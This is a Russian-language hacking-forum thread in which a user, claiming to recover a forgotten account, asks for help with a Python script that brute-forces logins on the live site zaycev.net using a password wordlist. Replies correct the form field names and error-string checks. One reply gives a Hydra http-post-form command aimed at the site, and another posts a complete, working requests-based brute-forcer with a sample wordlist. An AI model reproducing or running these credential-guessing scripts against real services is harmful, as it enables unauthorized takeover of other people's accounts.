• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Проблема Вход в аккаунт зайцев.нет c помощью Python.

Z

Zarmos

Здравствуйте, форумчане. Хочу вспомнить пароль от своего старого аккаунта. Регался давно.Почту не помню (помню ник). Решил подобрать пароль.

Python:
import requests

url = "http://zaycev.net/auth/login.php"

username = "kokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username_page" : username, "j_password_page" : password, "login" : "1" , "badCredentials": 2}
    paginaDiAction = requests.post(url, params=parametriDaTestare)
    risultato = paginaDiAction.text
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break

Скрипт работает, но неправильно. В файле lists.txt есть правильный пароль для нового созданного аккаунта, но сообщение "Password found" не выводится. Может я неправильно указал идентификаторы куда вводить username и password ? Инспектирование элемента на странице, которая в переменной url показывает что :

<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.


Где проблема?
 
Последнее редактирование модератором:

Dr.Lafa

Green Team
30.12.2016
507
1 049
BIT
0
Для начала без лишних заморочек прочитай файл:
Код:
pwd = [line.replace("\n", "") for line in open(listaPassword, "r")]
И сейчас только что посмотрел, messaggioDiErrore не такой на самом сайте
 
  • Нравится
Реакции: Zarmos

sinner67

Green Team
24.03.2017
279
357
BIT
0
А принципиально именно самописный python скрипт используете?
Я бы так попробовал:
hydra -l kokushi -P list.txt http-post-form://zaycev.net -m "/auth/signin.php:j_username=^USER^&j_password=^PASS^:badCredentials=1"
Поправьте если что то не так написал, гидрой только учусь пользоваться...
 
  • Нравится
Реакции: Zarmos
Z

Zarmos

Для начала без лишних заморочек прочитай файл:
Код:
pwd = [line.replace("\n", "") for line in open(listaPassword, "r")]
И сейчас только что посмотрел, messaggioDiErrore не такой на самом сайте

А какой ? messaggioDiErrore = 'Неверный пароль' ?

Если заменить на "Неверный пароль" то скрипт выдаёт первый же пасс как Password found.
 

n3d.b0y

Red Team
19.01.2018
181
472
BIT
73
Если ты хотел написать брут сам то явно тебе это не удалось. Как минимум надо сохранять куки дабы не было не понятной фигни при запросах. Во вторых подставлять юзар агент самому лучше. В третих проверять не пост запрос а возвращаемую страницу после редиректа
 
Z

Zarmos

А принципиально именно самописный python скрипт используете?
Я бы так попробовал:
hydra -l kokushi -P list.txt http-post-form://zaycev.net -m "/auth/signin.php:j_username=^USER^&j_password=^PASS^:badCredentials=1"
Поправьте если что то не так написал, гидрой только учусь пользоваться...
Можно конечно и спасибо за метод , но мне хочется именно решить проблему ручками и через requests. У меня есть решение через pyautogui, но эта уже другая история с другим кодом.
 

Citizen0

Green Team
07.02.2017
203
228
BIT
0
<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.
А почему Вы в параметрах используете идентификаторы?
parametriDaTestare = { "j_username_page" : username, "j_password_page" : password, "login" : "1" , "badCredentials": 2}
 
D

Drager

В помощь, мой вариант. Смотри URL и payload.

Python:
import requests

URL = 'http://zaycev.net/auth/signin.php'

USERNAME = 'пфвапфвым'
PASS_LIST = 'plist.txt'

with open(PASS_LIST, 'r') as f:
    pwd = f.readlines()
    # print(pwd)

for passwd in pwd:
    payload = {'j_username': USERNAME, 'j_password': passwd.replace('\n', '')}
    resp = requests.post(URL, data=payload)
    if resp.text.find('Учётная запись пользователя не активирована') != -1:
        print('Учётная запись {0} не активирована'.format(USERNAME))
        # print(resp.text)
        break
    elif resp.text.find('Неверная почта или логин') != -1:
        print('Неверная почта или логин')
        break
    elif resp.text.find('Неверный пароль') != -1:
        print('Пароль {0} не катит'.format(passwd.replace('\n', '')))
        continue
    else:
        print('Похоже, подобрали. Пароль - {0}'.format(passwd.replace('\n', '')))
        break

Тестовый plist.txt

Код:
sxxnvghdf
fdfgxgfhc
dgfhcxg
Jr7Pwku62N
sdgsd
dfsgdf
ds#@345dsg
dsgdr1234
ser

Верный пароль - Jr7Pwku62N
 
  • Нравится
Реакции: mz111
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!